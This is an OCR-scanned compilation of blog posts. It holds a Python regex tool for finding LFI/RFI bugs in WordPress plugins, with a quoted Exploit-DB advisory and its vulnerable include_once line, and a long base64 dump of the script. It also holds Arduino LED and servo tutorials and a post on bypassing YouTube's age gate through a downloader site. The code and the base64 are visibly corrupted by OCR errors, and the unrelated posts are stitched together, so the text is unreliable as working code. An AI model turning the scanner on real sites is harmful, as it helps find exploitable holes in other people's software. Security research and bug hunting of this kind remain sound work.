Looks good so far. Let’s move forward to another ,top10” bug — RFI/LFI. | started from the similar
skeleton of the function — see the table:

HitH#H
def basic_rfi_methods(f):
methods = ['_GET',' _POST',' REQUEST']
functions = ['include','include_once','require’,'require_once','file_get_contents','readfile']

fp = open(f, 'r')
lines = fp.readlines()
line_num =0

for line in lines:
line_num +=1
for method in methods:
for function in functions:
#print 'searching for: %s' % ( function )

patternl = function + '(.*?)\$' + method + "\[(.¥?)\]'

find = re.compile(patternl)
found = re.search(find, line)

if found:
param = found.group(2)
sanit_check = found.group(1)
if 'sanitize' not in sanit_check:

print '[+] ==> Reading %s' % (f) # current file name
print '[+] Found LFI/RFI bug: %s, %s (param: %s ):\n\t%s' % (f, line_num, param, line)

As you can see | used only few methods as well as only few ‘possibly vulnerable functions’. Feel free
to tuning the script for your needs. ;)

Checking:

c o © & hitpsy//www.exploit-db.com/exploits/48065 SRR

# Title : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion
# Author : mehran feizi

# Vendor : https://wordpress.org/plugins/ultimate-member/

# Category : VWebapps

# Date : 2020-82-11

# Vendor home page: https://wordpress.org/plugins/ultimate-member/

Vulnerable Page:
/class-admin-upgrade.php

Vulnerable Source:
354: if(empty($_POST['pack'])) else
356: include_once include_once $this->packages_dir . DIRECTORY_ SEPARATOR . $ POST['pack'] . DIRECTORY_SEPARATOR . ‘init.php';

@ c@kali: ~/src/wordprice.py

Ok. As we can see — parameter extracting needs to be fixed — but indeed our code is already able to
find an exploitable bugs! ;]

Let’s move forward. | prepared a new directory with example vulnerabilities | found searching on
EDB[link]. Below is the list of few bugs:



param to find!)

["url"]) ? $ GET["url"] = "'")

Let’s update our script code. We'll add few lines to try to identify ‘vulnerable declaration’ of the
parameter found to be used with some ‘danger function’ we found (ex. include(Sparam) and so
on...). Let’s try here (special thanks for the help with regexp goes here[7];)):

def basic_rfi_params2(f):
functions = ['require_once\s*\(*\s*\$([a-zA-Z0-9_-]+)\s*\)*','require\s*\(*\s*\$([a-zA-Z0-9_-]+)\s*\)*']
methods = [_GET','_POST',’_REQUEST']

fp = open(f,'r')
lines = fp.readlines()

print 'checking file: %s' % ( f)

HHHHHHHH
# require_once( Spath ); // RFI #09
HHH S R R ]

for line in lines:
for func in functions:
pattern = func #+ "\s*\(*\s*\$([a-zA-Z0-9_-1+)\s*\)*" ## func # + "\((.*?)\$'# [\);]'
X = re.compile(pattern)
#print pattern
y = re.search(x, line)

ify:
param = y.group(1)
#print '
print 'name filename: %s' % ( f ) #print 'PATTERN: %s' % ( pattern)
print 'Found parameter: %s' % ( param )
print 'Full line:\n%s' % ( line )

#print "\n---> checking param declaration:'
# now let's find that param's declaration:
for line in lines:

for method in methods:

temp_patt = param + '(.*?)=(.*?)" + method + '\[(.*?)\]'
find_declar = re.compile(temp_patt)
found_declar = re.search(find_declar, line)

if found_declar:
print '+ Found declaration of parameter: %s:\n%s' % ( found_declar.group(3), line )

print '="*¥100
print '="¥100




For now — we should be somewhere here:

Full line:

require once( $path );

Found declaration parameter:
$path = $ R EST[ "tcp_cla

name filename: ./next_step_plugins/bugé
Found parameter: patt

Full line

require_once $path2;

g - - - g P
name filename: ./next_step plugins/bugl2.php
Found parameter: mypath

Full line:

require_once($mypath. ' /wp-config.php');<--------- [+]

+ Found declaration of paramete "myPath " :
$mypath=% GET[ ‘myPath’];

+ Found declaration of parameter: 'myPath’:
$mypath=% ST[ "'myPath

So — basicaly — it looks good and can find ‘real world’ exploitable bugs in popular Wordpress plugins.
The case now is of course to tuning used regexp’s to remove more false positives.

But | will leave it to you as an exercise... ;)
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Z3JvdXAoMSkKICAgICAgICAjcH)pbnQglyOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOt
LSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLScKICAGICAg
ICBwemludCAnbmFtZSBmaWxIbmFtZTogI/XMnICUgKCBmICkgl3ByaW50ICdQQVRURVIOOiAlcycg
JSAolHBhdHRIcm4gKQoglCAgICAgIHByaW50ICdGb3VuZCBwYXJhbWVOZXI6ICVzlyAllCggeGFy
YW0gKQogICAgICAgIHByaW50IC: J6XGAlcycglSAol JgKQOKICAGICAgICA]
cHJpbnQgJ1xuLSOtPiBjaGVja2luZyBwYXJhbSBKkZWNsYXJhdGlvbjonCiAgICAgICAglyBub3cg
bGV0J3MgZmIuZCBOaGFOIHBhcmFtI3MgZGVjbGFyYXRpb246CiAgICAgICAgZmIylGxpbmUgaWag
bGluzZXM6CiAgICAgICAgICBmb3IgbWV0aG9kIGIulG 1ldGhvZHMECgogICAgICAgICAGICBOZW 1w
X3BhdHQgPSBwWYXJhbSArICcoLio/KTOoLio/KScgKyBtZXRob2QgKyAnXFsoLio/KVxdJwoglCAg
ICAgICAgICBmaWS5kX2RIY2xhciA9IHJILMNVbXBpbGUodGVtcFOWYXROKQogICAgICAgICAgICBm
b3VuZF9kZWNsYXIgPSByZS5zZWFyY2goZmluZF9kZWNsYXIsIGxpbmUpCgogl CAgICAgICAgICBp
ZiBmb3VuzZF9kZWNsYXI6CiAgICAgICAGICAgICAgcHIpbnQglysgRm91bmQgZGVjbGFyYXRpb24g
b2YgcGFyYW1ldGVyOiAlczpcbiVzlyAllCggZm91bmRfZGVjbGFyLmdyb3VwKDMpLCBsaW5IICkK
CiAgICAgICAgcHIpbnQglzOnKjEwMAo0gICAgICAgIHByaW501Cc9)yoxMDAKCgojlyMjCmRIZiBi
YXNpY19yZmlfcGFyYW1zKGYpOgoglGZ1bmNOaW9ucyA9IFsnaW5jbHVkZScs)2luY2x1ZGVfb25j
ZScs)3)lcXVpemUnLCdyZXF1aXJIX29uY2UnLCdmaWxIX2dIdF9jb250ZW50cycs)3JIYWRmaWx!|
JywnZXZhbCddCiAgbWV0aG9kcyA9IFsnX0dFVCesJ19QTINUJywnX1JFUVVFU1QnXQoKICBmcCA9
1GOWZW40Ziwg)3InKQ 1D0gZnAucmVhZGxpb KCkKICBsaWS5IX251bSA9IDAKCiAg
Zm9ylGxpbmUgaW4gbGIluZXM6CiAgICBsaW5IX251bSArPSAxCgoglCAgZm9ylGZ1bmNOaW9uIGlu
1GZ1bmNOaW9uczoKICAgICAgcGFOdGVybjEgPSBmdW5jdGlvbiArlCcolj9cKCle)CguKj8plwog
ICAgICBmaWS5kIDOgecmUuY29tcGlsZShwYXROZXJuMSKKICAgICAgZm91bmQgPSByZS52ZWFyY2go
ZmluZCwgbGluzZSkKCiAgICAgIGImIGZvdW5kOgogl CAgICAgIHBhcmFtIDOgZm91bmQuz3JlvdXAo
MikKICAgICAgICBwcmludCAnPSonKjEwMAogICAgICAgIHBYaW50ICdGb3VuzZCBmdW5jdGlvbjog
JXMgd210aCBwYXJhbSAlcyBpbiBmaWxlICVzIChsaW5I0iAlcylchivzlyAllCggZnVuY3Rpb24s
IHNOcihwYXJhbSksIGYsIGxpbmVfbnVtLCBsaWSIKQoKICAgICAgICA]jIG5vdyB3ZSdsbCBsb29r
1GZvciBwYXJhbSBkZWNsYXJhdGlvbiB3aXRolG9uZSBvZiBOaGUgbWV0aG9kcwogICAgICAgIGXp
bmVfbnVtIDOgMA0gICAgICAGIGZvciBsaW5IIGIulGxpbmVzOgogICAgICAgICAgbGluzZVOudWO0g
Kz0gMQoKICAgICAgICAgIGZVCiBtZXRob2QgaW4gbWV0aG9kczoKICAgICAgICAgICAGZGVjbGFy
X3BhdHQgPSAgCcGFyYWO0gKyAnKC4qPyk9KCAqPyknICsgbWV0aGOkCiAgICAgICAgICAgIGZpbmRf
2GVjbGFylDOgemUuY29tcGlsZShkZWNsYXJfcGFOJCKKICAgICAgICAgICAGZmI1bmRfZGVjbGFy
1D0gcmUuc2VhemNoKGZpbmRfZGVjbGFyLCBsaWSIKQoKICAgICAgICAgICAgaWYgZm91bmRfZGVj
bGFyOgoglCAgICAgICAgICAgIHByaW50ICdGb3VuZCBwYXJhbSBKZWNsYXJhdGlvbiBhdCBsaW5I
1CVzOiAlczpcbiVzlyAllChsaW5IX251bSwgcGFyYWO0sIGxpbmUgKQogICAgICAgICAgICAgIHBY
aW501CenCgoglCAgICAgIHBYaWS0ICIgPSIgMTAwCgoKIyMjlwpkZWYgYmFzaWNfcmZpX21ldGhv
ZHMOoZik6CiAghbWV0aG9kcyA9IFsnX0dFVCcs)19QTINUJywnX1JFUVVFU1QnXQoglGZ1bmNOaW9u
cyA9IFsnaW5jbHVkZScs)21uY2x1ZGVfb25jZScs)3)IcXVpecmUnLCdyZXF1aXJIX29uY2UnLCdm
aWxIX2dIdF9jb250ZW50cycs)3JIYWRmaWxIJ10KCiAgZnAgPSBvcGVUKGYsICdylykKICBsaW5!
cyA9IGZwLnJIYWRsaW5IcygpCiAghGluzZV9udWOgPSAwCgoglGZvciBsaWSsIIGlulGxpbmVzOgog
ICAgbGIuZV9udWO0gKz0gMQogl CAgZmIyIG1IdGhvZCBpbiBtZXRob2Rz0gogICAgICBmb3lgZnVu
Y3Rpb24gaW4gZnVuY3Rpb2520goglCAgICAgICNwcmludCAnc2VhcmNoaW5nIGZvcjog/XMnlCUg
KCBmdW5jdGIvbiApCgoglCAgICAgIHBhdHRIcm4xIDOgZnVuY3Rpb24gKyAnKC4qPylc)CegKyBt
ZXRob2QgKyAnXFsoLio/KVxdJwoKICAgICAgICBmaW5kIDOgcmUuY29tcGlsZShwYXROZXJuMSKK
ICAgICAgICBmb3VuZCA9IHJILNNIYXJjaChmaW5kLCBsaW5IKQoKICAgICAgICBpZiBmb3VuzZDoK
ICAgICAgICAgIHBhcmFtIDOgZm91bmQuZ3JvdXAoMikKICAgICAgICAgIHNhbmIOX2NoZWNriDOg
Zm91bmQuZ3JvdXAoMSkKICAgICAgICAgIGImICdzYWS5pdGl6ZScgbm90IGlulHNhbmIOX2NoZWNr
0goKICAgICAgICAgICAgcHIpbnQgl1srXSA9PT4gUmVhZGluZyAlcycgSAoZikglyBjdXJyZW50
1GZpbGUghmFtZQogICAgICAgICAgICB ytdIEZvdW! YnVnOiAlcywg
JXMgKHBhcmFtOiAlcyApOIxuXHQlcycglSAoZiwgbGluZVOudWOsIHBhcmFtLCBsaWSIKQoKCgoK
CiMjlyMgCmRIZiBiYXNpY19zcWxpX211dGhvZHMoZik6CgoglG 11dGhvZHMgPSBbJ19HRVQNLCf
UE9TVCcsJ19SRVFVRVNUJ10KICBmdWS5jdGIvbnMgPSBbJINFTEVDVCANLCAITINFUIQglywnVVBE
QVRFICcsIORFTEVURSANXQoKICBMcCA9IGIWZW40Ziwgl3InKQoglGxpbmVzIDOgZnAucmVhZGxp
bmVzKCkKCiAgbGluzV9udWOgPSAwCiAgZm9ylGxpbmUgaW4gbGluZXM6CiAgICBsaW5IX251bSAr
PSAxCgoglCAgZm9yIG1ldGhvZCBpbiBtZXRob2RzOgoglCAgICBmb3IgZnVuY3Rpb24gaW4gZnVu
Y3Rpb2520g0KICAgICAgICBjdX)yZW50X3BhdHRIcm4gPSAnd3BkYi0+KC4qPyknICsgZnVuY3Rp
b24gKyAnKC4qPylc)CcgKyBtZXRob2QgKyAnXFsoLio/KVxdJwoglICAgICAgIGZpbmQgPSBYZS5j
b21waWxIKGN1cn)IbnRfcGFOdGVybikKICAgICAgICBmb3VuZCASIHIILNNIYXJjaChmaW5kLCBs
aW5IKQoKICAgICAgICBpZiBmb3VuzZDoKICAgICAgICAgIHByaWS50ICcqlyo4MAogICAgICARICAg
cHJpbnQgJOZvdW5kIFNRTEKgYnVnIGlulGZpbGUgIXMgKHBhcmFtOiAlcykgaW4gbGluzZSBudW1i
ZXIgIXM6XG4lcycglSAoZiwgbGluzV9udWOsIGZvdW5SkLmdyb3VwKDMpLCBsaWSIKSAKICAgICAg
ICAgIHByaW50ICcqlyo4MAogICAgICAgICAgcHIpbnQgl1xulwoglCAgCgoKlyMjlwpkZWYgemVh
ZEZpbGUoZik6CiAgI3ByaW50ICISZWFkaW5nIGZpbGU6ICVzIiAlICggZiApCgogICMgaGVyZSB3
ZSdsbCBzdGFydCBhbGwgdGhlIGZ1bmNOaW9ucyBObyBjaGVjayB0aGUgc291cmNIIGNVZGUKICAj
IGVALIBiYXNpY194c3NfMDEoZmIsZSksIGVOYy4uLgoKICAjYmFzaWNfemZpX21ldGhvZHMoZikg
ICAGICAjIGZpbmQgROVUIHdpdGggaWsjbHVKZSosZXRjLi4uCiAgl 2Jhc2ljX3JmaVowYXJhbXMo
ZikgICAgICAglyBsYXNOIGVkaXQ6IDIzLjEwLjlwMjAgQCAXNDoxOCAKICBiYXNpY19yZmifcGFy
YW1zMihmKQogICNiYXNpY19yZWFkZmlIsZV9idWdzKGYplCAglyBmaWSkIHJIYWRmaWxILGZpbGVF
K19jb250ZW50LCBIdGMuLi4gkHBhcmFtcykKICAjYmFzaWNfc3FsaVItZXRob2RzKGYpICAgICA]
1GJhc2ljIHNXbGkgKG1ldGhvZCArIHdwLTSxdWVyeSkKCgoKCgojlyMjCmRIZiBjaGVja1l9zb3Vy
Y2UodGVtcFOwYXRoKToKICAjcHIpbnQglj09PTO9PTO9PTO9PTO9PTOSPTO9PTO9IgogICNwemlu
dCAiICBXRSBBUkUgSU4gY2hlY2tfc291cmNIKCkgZm9yIHBhdGg6ICVzliAllCggdGVtcFOwYXRo
ICkgCiAgI3ByaWSO0ICItLSOtLSOtLSOtLSOLLSOLLSOLSOtIgoKCiAgZmIsZXMgPSBLXQOKICA]
IHI9cm9vdCwgZD1kaXJIY3RvemllcywgZiA9IGZpbGVzCiAgZmIyIHIsIGQsIGYgaW4gb3Mud2Fs
ayh0ZW1wX3BhdGgpOgogICAgZm9yIGZpbGUgaW4gZjoKICAgICAgaWYglySwaHANIGIulGZpbGU6
CiAgICAgICAgZmISZXMuYXBw. h ihyLCl kKCiAgZm9yIGYgaW4g
ZmisZXM6CiAgICAjcHIpbnQoZikKICAgIHIYWRGaWxIKGYpICMgZnVsbHBhdGgKCgoKCiAgI3By
aWS50ICItLSOtLSOtLSOtLSOtLSOtLSOtLSOiCiAgI3ByaW50ICI9PTO9PTO9PTOSPTOSIESFWFQg
QOFTRSA9PTO9PTOIPTOIPTOIPTOIXG4iCgoKCiMjlyMKZGVmIG1haW4oKToKCiAgdHI50gogICAg
b3MubWtkaXloUExVROIOUykKICBleGNIcHQgT1NFcnlvciBhcyBlOgoglCAgcHIpbnQgZQoglCAg
cGFzcwoKICBWYWdIX21heCASIDAKCiAgd2hpbGUgcGFnZV9tYXggPCA1MDoKICAgICNOYXINZXQg
PSAnaHROcHM6Ly93b3JkcHJIc3Mub3JnL3BsdWdpbnMvYnlvd3NIL3BvcHVsYXIveGFnZS8nICsg
c3RyKHBhZ2VfbWF4KQoglICAgdGFyZ2V0ID0g)2h0dHBz0i8vd29yZHByZXNzLm9yZy9wbHVnaW5z
L2Jyb3dzZS9ibG9ja3MvcGFnZS8nICsgc3RyKHBhZ2VfbWFAKQoKICAgIGdIdF9saXNOIDOgey5n
ZXQodGFyZ2VOLCB2ZXJpZnk9RmFsc2UpCiAgICBnb3RfbGlzdCA9IGdIdF9saXNOLnRleHQKICAg

CiAgICA;IDIulHByZXBhcmUgYSBsaXNOI Y YWdIMixid i4pCing
ICBmaW5kX3BsdWdpbl9uYW11ID0gemUuY29tcGlsZSgnPGgzIGNsYXNzPSIlbnRyeS10aXRsZSI+
PGEgaH)IZ0iaHROCHM6Ly93b3JkcHlIc3Mub3InL3BsdWdpbnMvKC4qPykviBy b2t

YXJrljdoLio/KTwvYT48L2gzPicpCiAglCBmb3VuzZFOwbHVNX25hbWUgPSByZS5maW5skYWxsKGZp
bmRfcGx122luX25hbWUsIGdvdF9saXNOKQoKICAgIGZvciBwbHVnaW4gaW4gZm91bmRfcGx1Z19u
YW1|0gog|CAgICBwbHVnaW4xID0gcGx1Z2luWzFdLmVuY29kZSgndXRmOCcpCiAgICAgIHByaW50
ICJPbiBwYWdIICVzOiBGb3VuZCBwbHVnaW4gbmFtZTogIXMilCUgKCBwYWdIX21heCwglHBsdWdp
bjEgKQoKICAgICAglyBwbHVnaW4gaXMgZm91bmQgc28gd2UgY2FulHRyeSBObyBkb3dubGOhZCBp
dCBub3c6CiAgICAGIGZ1bGxfcGx1Z2luX2xpbmsgPSAnaHROcHM6Ly93b3JkcHIIc3Mub3JnL3Bs




dWdpbnMvlyArIHBsdWdpblswXQogICAgICB2aXNpdF9wbHVnaW5fbGluayASIHMuZ2VOKGZ1bGxf
cGx1Z2luX2xpbmssIHZIcmImeT1GYWxzZSkKICAgIC; FOwbHVnaWw! 1Zp
c210X3BsdWdpbl9saW5rLnRIeHQKCiAgICAgIGdIdF90aGlzX: WdpbiA9IHJILmNvbXBpbGUo
JzxhIGNsYXNzPSJwbHVNnaW4tZG93bmxvYWQgYnV0dGulGRvd25sb2FkLWI1dHRvbiBidXROb24t
bGFyZ2UilGhyZWY9liguKj8plj5SEb3dubGOhZDwvYT4nKQogl CAgICBnb3RfdGhpc19wbHVnaWag
PSByZS52ZWFyY2goZ2V0X3RoaXNfcGx1Z2luLCB2aXNpdGVkX3BsdWdpbl9saW5rkKQoKICAgICAg
aWYgZ290X3RoaXNfcGx1Z2luOgoglCAgICAgIHBsdWdpbl9saW5rID0gZ290X3RoaXNfcGx1Z2lu
Lmdyb3VwKDEpCiAgICAgICAgcHIpbnQglkRvd25sb2FkaW5nIDO9PiAlcylgISAolHBsdWdpbl9s
aWS5rICkgCiAgICAgICAgZGIfd2dIdCAIICI3Z2V0IC1QICAveGX1Z2lucy8glisgcGx1Z2IuX2xp
bmsKICAgICAgICAjc3VicHIvY2Vzcy5)YWxsKGRvX3dnZXQsIHNoZWxsPVRydWUpCiAgICAgICAg
cHIpbnQglisrXSBQbHVnaW4gIXMg: YWRIZCEgOikilCUgKCBwbt kgCgogICAg
ICAgICMgb 1dIIGNhbi IIG: dhecmQgdG86CiAgICAgICAglyAgICOgdW56aXAgZG93
bmxvYWRIZCBwbHVnaW4vemIlwlGZpbGUKICAGICAgICBnZXRfemIwX25hbWUgPSByZS5jb21waWx!
KCciaHROcHM6Ly9kb3dubG9hZHMud29yZHByZXNzLm9yZy9dwbHVnaW4vKCaqPykiPkRvd25sb2Fk
JykKICAgICAgICBnb3RfemlwX25hbWUgPSBYZS52ZWFyY2goZ2V0X3ppcFOuYW1ILCB2aXNpdGVk
X3BsdWdpbl9saW5rICkgCgoglCAgICAgIHByaWS0IHBsdWdpbl9saW5rCiAglCAgICAgcHIpbnQg
Z290X3ppcF9uYW1lLmdyb3VwKDEpCgoKICAgICAgICBpZiBnb3RfemIwX25hbWU6GCiAgICAgICAg
ICBwemludCAiICBMZXQncyB1bnppcCBOaGUgZmisZTogIXMilCUgKCBnb3RfemlwX25hbWUuzZ3)v
dXAoMSkgKQogICAgICAgICAgcHIpbnQgb3MuY3VyZGlylAoglCAgICAgICAgdW56aXBfcGx1Z2lu
1DOgINVuemlwIC1kiC4vcGx1Z2lucy8gLi9wbHVnaW5zLylgKyBnb3RfemlwX25hbWUuz3JvdXAo
MSkgCiAgICAgICAgICAjc3VicHIvY2Vzey5)YWxsKHVuemIwX3BsdWdpbixzaGVsbD1UcnVIKQoK
ICAgICAgGICAgICMgbm93IHdIIGNhbiBtb3ZIIHRVIHR0ZSBUZXhOIHNOZXAGIGNoZWNraW5nIHNv
dXJjzSBObyBmaWS5kIHNvbWUgYnVncwogl|CAgICAgICAglyAKICAgICAgICAgICMgICAtIHRyeSBO
byBwemVwYXJIIGEgbm|jZSBhbmQgY2hhcmOgemVnZXhwiHRVIGZpbmQgYSBwb3NzaWJsZSBidWco
cykgO10KICAgICAgICAgIHB3ZCA9IG9zLmN1cmRpcgogl CAgICAgICAgeGx1Z19kaXIfbmFtZSA9
1GdvdF96aXBfbmFtZS5ncm91cCgxKS5zdHIpcCgnLnppcCepCiAgiCAgICAgICAjdGVicFIwWYXRo
1DOgcHdkICsgli9wbHVnaW5zLylgKyBwbHVnX2Rpcl9uYW1l1AogICAgICAgICAgdGVtcFOwYXRo
1D0gcHdkICsgli9uZXh0X3NOZXBfcGx1Z2lucy8ilAogICAgICAgICAgI3RIbXBfcGFOaCA9IHB3
ZCArIClveGx1Z2luc19hbGxwb3B1bGFyLylKCiAgICAgICAgICBjaGVjal9zb3VyY2UodGVicFOw
YXRoKSAjIG91ciBzdXBlciBldmIsIGZ1bmNOaW9ulFO7PgoKCiAgICAgICAgICAjIGxIdCdzIHRy
eSB0aGVulgog|CAgICAgICAgcH)pbnQglyOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOt
LSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLVxuJwoKICAgICAgICAKCgogCgoK
ICAgICMgZ290byBuzXh0IHBhZ2Ugd2I0aCBwbHVnaW5zCiAgICBwYWdIX21heCArPSAxCgoKCgoK
CgoKCgoglCNpZiBOb3RhbF9mb3VuzZDoKICAgICNtYXggPSBOb3RhbF9IMb3VuzZC5ncm91cCgxKQog
1CAgI3ByaW50ICdNYXggcGFnZXM6ICVzlyAllCggbWF4ICkgCgoKICBwemludCAnZmluaXNoZWQg
bWFpbigplG5vdy4nlAoKlyMjlwoKCgppZiBfX25hbWVXyA9PSANX19tYWIuX18nOgoglGlhaW4o
KQoKCgoK

Cheers



Learning Arduino —intro to DIY

Intro to DIY



INTRO

Few weeks ago | started to play with Arduino. After reading and learning a bit about the
drones[1] and electrocity[2] | decided to build few small circuits to develop my skills in ,,creating
hardware tools”.

All the cases described below were tested on Arduino UNO. If you already have it - to do all
the tasks presented below you’ll also need to download and install Arduino IDE available here[3]. |
used version presented on the screen below:

1.8.13

i+ elv]|-]
Genuino
ARDUINO

AN OPEN PROJECT WRITTEN, DEBUCGED,

AND SUPPORTED BY ARDUINO.CC AND 1 A
THE ARDUING COMMUNITY WORLDWIDE .

LEARM MORE ABOUT THE CONTRIBUTORS J B

of LTSN on arduino.cc/credits J

If everything is installed correctly we can jump directly to our first example case. Here we go...

CASE #01: First Blink

What you’ll need
During this excercise we’ll build a very simple blinkin circuit. To do that we’ll need:

- Arduino UNO

- breadboard

- 2 LEDs (I used green and red)
- resistor 330 ohm (x2)

Our toolset should looks like the one presented on the screen below:


https://code610.blogspot.com/2020/07/grounding-drones-tello-dji_15.html
https://code610.blogspot.com/2020/09/my-1st-hardware-bug.html
https://www.arduino.cc/en/software

Now let’s move to the Arduino IDE. (Few example codes you can also find using File -> Examples:

Plik Edytuj Szkic Marzedzia Pomoc
MNowy Ctrl+N
Otworz... Ctrl+0O
Otworz ostatnie
Szkicownik . R -
Przyktady 3 &
Zamknij Ctrl+W Whbudowane przykiady
Zapisz Ctrl+5S Skl i
Zapiszjako..  Ctrl+ShiftsS LEEIDE :
03.Analog >
Ustawienia strony Ctrl+Shift+P 04.Communication >
Drukuj Ctrl+P 05.Control >
Preferencje Ctrl+Comma SRl i
07.Display >
Wyjdz Ctrl+Q 08.Strings 3
y ’ 09.USB >
10.StarterKit_BasicKit >
11.ArduinolSP >

but | will leave it to you as an excercise. ;))



Let’s start
To continue let’s connect our breadboard to Arduino UNO and then (via USB) to the computer. Now
we’ll create a small example code to blink using LEDs.

Next let’s connect all the parts to the breadboard like it’s presented on the screen below:

=
segosess

o T

Example code is presented below:

firsthlink

void setup() {
pinMode (8, OUTPUT); // setup pin 8 as an output to LEDI1
pinMode (7, OUTPUT); // similar for pin 7 for LED2
digitalWrite(8, HIGH); // on start snable LED1
digitalWrite(7, HIGH); // on start disable LED2

1

void loop() [f
digitalWrite(8, LOW); // LEDLl to 'Off"
dslay(1000); // wait 1 s=sc
digitalWrite(8, HIGH); // LEDL to 'On'
digitalWrite(7, LOW); // LED2 to 'Off"
delay (3000) ;
digitalWrite (7, HIGH);

h. Maksimum to 20

Arduino Uno na COM3




Now if you’ll click that button with arrow (marked with red frame on the screen above) — you will
compile it and send the code to the Arduino device.

When it’s ready — you’ll see a blinking LEDs. Congratulations! You finished your very first Arduino
project. ;)

CASE #02: Detecting the light

What you’ll need
Last time when | tried to ‘detect the light’ is described on the blog]link]. This one case will be easier
for sure just to stay in ‘intro’ mode as well as to stay in our ‘practice mode’. So...

In this example we try to build a circuit that will ‘see the light” and when detector will realize that
there is a change — it will blink a LED again. (Let’s say we can use this concept to build a self-activated
night lamp or something similar to that.) We'll start from collecting the parts we need to have to
build our solution. For me it was:

- Arduino UNO

- LED (I used a yellow one this time)

- breadboard

- resistor 330 ohm

- reisistor 1k ohm

- ‘light detector’ — | used photoresistor

Our kit looks like this:




Well, let’s continue in a next section...

Let’s start
Example code is presented in the table below:

int adcval =0 ; // ADC value
void setup(){
pinMode(8, OUTPUT); // preparing pin8 for LED1
}
void loop(){
adcval = analogRead(A5); // setup read from A5

if(adcval < 100){
digitalWrite(8, HIGH); // set on to LED1
}else{
digitalWrite(8, LOW);
}
delay(100);

As you can see our example is extrelemly similar to the one presented here[4]. (By the way | really
recommend that course.)

So now we’ll try to extend our example cuircuit and add additional LED. We'll also need to change
the behaviour of our code. Let’s see the example presented in the table below (updates were marked
as bold lines):

int adcval =0 ; // ADC value

void setup(){
pinMode(8, OUTPUT); // preparing pin8 for LED1
pinMode(7, OUTPUT); // preparing pin7 for LED2



https://forbot.pl/blog/kurs-arduino-pomiar-napiecia-przetwornik-adc-id3819

}
void loop(){
adcval = analogRead(A5); // setup read from A5

if(adcval < 100){
digitalWrite(8, HIGH); // set on to LED1
digitalWrite(7, LOW); // set on to LED2
}else{
digitalWrite(8, LOW);
digitalWrite(7, HIGH);
}
delay(100);
}

Simple like that. ;] Our breadboard should look similar to the one presented below:
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As you can see | also used additional resistor (330 ohm) for a green LED. Now the behaviour of the
‘circuit’ should be: ‘light on’ for LED1 when photoresistor is inactive — and ‘light off’ for LED2 if it’s
active. For change — we’ll change the on/off for both LEDs. Now you have a brilliant ‘night lamp’ for
all those girls you’re dating ,because you know some Arduino”... ;> You’re welcome. ;)

Let’s move forward to example #03. Here we go...



CASE #03: Move with the light

What you’ll need

In this example case we’ll try to build a circuit that can detect the light and run some servo (,for
example”) if the light is detected. I'll also try to add one more LED. For me it was a lot of fun because
now we can prepare to some more advanced projects like hidden doors, alarms, traps, etc... ;)

Anyway — before we’ll do that — for the current task we need[5]:
- actually, we’ll use pretty similar equipment

- what we’ll add this time is a Tower Pro Micro Servo 9g SG90:

If we'll need any other parts or tools — | will point it out in the text below, don’t worry.

Are you ready...? ;>

Let’s start

Example code is presented in the table below[5]:

#include <Servo.h> //srvo library

Servo serwomechanizm; //servo object
byte pozycja = 0; //current servo
int pozycjaPoprzednia = 0; // last servo

void setup() {
serwomechanizm.attach(11); // servo to pinll
Serial.begin(9600);
pinMode(8, OUTPUT); // our red LED (remember to add resistor)
digitalWrite(8, HIGH);
}
void loop()
{
int odczytCzujnika = analogRead(A5);
pozycja = map(odczytCzujnika, 0, 900, 0, 180); //change servo settings

if (abs(pozycja-pozycjaPoprzednia) > 5) {
serwomechanizm.write(pozycja); // move
pozycjaPoprzednia = pozycja; //current servo
digitalWrite(8, LOW);

delay(300);

digitalWrite(8, HIGH);

}
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Serial.println(odczytCzujnika);
delay(300);
}

Code should be very straightforward because | tried to updated the existing one, from the course;
anyway — because the blog/course is created in PL — let me know if you have any troubles with that
source. I'll try to help[6] or describe it in more details.

My ready ‘hardware appliance’ ;) — so far —looks like the one presented on the screen below. LED is
also already added:

So far, so good.

Maybe next time we’ll try to create something more advanced or interesting...

Before...

But to do that | believe we’ll need some more powerfull servo’s... ;D
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Un-restricted content - YouTube case

YouTube Help

Q_ Describe your issue

Adp-restricted content

Sometimes content doesn't violate our policies, but it may not be appropriate for viewers under 18. In these
cases, we may place an age-restriction on the video. This policy applies to videos, video descriptions, custom
thumbnails, live streams, and any other YouTube product or feature.

Learn more about age-restriction

Below is more detail about the types of content we consider for age-restriction. We may age-restrict your content
if it contains one or more of these themes. We've provided examples of content which may be age-restricted.
Click through each policy section for additional examples. Keep in mind this isn't a complete list.

Source: https://support.google.com/youtube/answer/2802167?hl=en




INTRO

Few days ago | was waching some music videos on YouTube[1]. Checking ,the last one and |
will go back to work” ;) | found that there is an ‘error’ — | need to be logged-in to ,verify my age”. |
started to dig a little bit and this is what | found...

QUICK BUG NOTES
The case is simple here: when | was checking some YouTube’s videos | found a screen
presented below:

Log in to confirm your age

The video may not be appropriate for some users.

SIGN IN

Well. I'm not a big fan of ,,log in here to get a content” so | decide to find a way to watch the video
without the account (btw: what if | don’t have it and don’t want to have one? ;) Yeah | know: ,then
move to some other platform... like Google Video ;)”.) We should be (for example*) here:

https://www.y2mate.com/en61

yzmate_com YouTube Downloader YouTube Converter YouTube to MP3 Converter

Download Video and Audio from YouTube

Start =

By using our service you are accepling our terms of use

*For example: because | don’t believe that this is the only page that can be used to bypass this ‘age-
verification’ feature. Check here for more details[2]:

What happens if content is age-restricted?

Age-restricted videos are not viewable to users who are under 18 years of age or logged out. Additionally, age-
restricted videos cannot be watched on most third-party websites. Viewers who click on an age-restricted video
on another website, such as an embedded player, will be redirected to YouTube, where they will only be able to
view the content when signed-in and over 18. This will help ensure that no matter where content is discovered, if
avideo is hosted by YouTube it will only be viewable by the appropriate audience.

If you believe we made a mistake, you can appeal the age restriction.

Bugfeature was disclosed to the Vendor the same day | found/used it.
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Thanks

Hi Reader. I'm glad you’re here!

Thanks for reading the content. | hope you like it. In case of any questions or comments (or just say
hi) feel free to drop me an email or send me a direct private message @twitter.

Once again — big thanks for your time!

See you!

Cheers
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